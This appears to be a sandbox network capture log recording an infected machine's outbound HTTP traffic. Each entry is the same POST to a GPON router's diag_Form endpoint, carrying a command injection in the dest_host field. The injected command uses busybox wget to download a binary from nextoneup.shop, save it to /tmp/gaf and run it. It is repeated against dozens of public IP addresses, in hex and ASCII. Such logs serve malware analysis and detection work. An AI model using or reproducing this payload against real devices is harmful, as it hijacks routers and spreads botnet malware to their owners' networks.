Apr 14, 2024 04:01:53.436871052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2540	192.168.2.13	52588	118.132.224.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.436913013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2541	192.168.2.13	42456	37.43.195.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.436947107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2542	192.168.2.13	37066	148.167.98.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.436981916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2543	192.168.2.13	59122	148.91.144.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437009096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2544	192.168.2.13	54648	109.163.158.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437022924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2545	192.168.2.13	54024	202.192.109.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437043905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2546	192.168.2.13	55784	2.61.200.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437084913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2547	192.168.2.13	48358	148.232.101.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437119007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2548	192.168.2.13	40108	5.188.29.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437144995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2549	192.168.2.13	43744	202.147.4.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437161922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2550	192.168.2.13	44594	42.55.75.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437185049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2551	192.168.2.13	54168	5.100.99.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437232971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2552	192.168.2.13	51696	94.203.239.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437248945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2553	192.168.2.13	44252	94.224.58.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437274933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2554	192.168.2.13	45430	178.11.220.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437309980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2555	192.168.2.13	38442	117.180.108.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437326908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2556	192.168.2.13	56946	117.63.139.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437366962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2557	192.168.2.13	49570	123.49.35.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437412024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2558	192.168.2.13	36470	5.136.27.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437436104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2559	192.168.2.13	41784	210.52.191.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437465906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2560	192.168.2.13	58130	2.202.165.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437489033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2561	192.168.2.13	48168	202.192.210.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437513113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2562	192.168.2.13	51948	148.0.122.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437534094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2563	192.168.2.13	47570	2.110.199.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437563896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2564	192.168.2.13	53008	42.204.25.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.437572002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

